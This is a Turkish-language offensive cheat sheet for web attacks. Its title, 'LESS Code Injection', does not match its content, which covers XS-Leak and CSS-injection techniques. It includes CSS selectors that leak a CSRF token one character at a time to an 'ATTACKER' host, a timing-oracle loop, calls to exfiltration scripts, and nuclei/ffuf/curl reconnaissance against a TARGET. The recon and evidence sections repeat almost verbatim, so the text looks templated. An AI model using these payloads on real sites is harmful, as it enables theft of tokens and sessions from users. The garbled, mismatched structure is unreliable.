LESS Code Injection

web offensive

LESS Code Injection web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

1. Çapraz origin boolean oracle adayını bul.

2. Timing/error/CSS/connection kanalını kalibre et.

3. Karakter karakter sızıntıyı otomatize et.

4. Sızan secret ile oturum etkisini bağla.

XS-Leak fikri

Çapraz origin’de doğrudan DOM okunamaz; yan kanal ile boolean sızıntı aranır.

const t0 = performance.now(); await frame.load(url); const dt = performance.now()-t0;

<link rel=prerender href='https://TARGET/search?q=secret'>

CSS injection XS-Leak

input[name=csrf][value^=a]{background:url(https://ATTACKER/a)}

input[name=csrf][value^=ab]{background:url(https://ATTACKER/ab)}

python3 css-exfil.py --charset hex --attr value

Oracle döngüsü

async function oracle(q){ /* timing/error/frame */ return bool }

for (const c of charset) if (await oracle(prefix+c)) prefix+=c

python3 xsleak.py --target https://TARGET/search --param q

Operasyon notları

LESS Code Injection sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html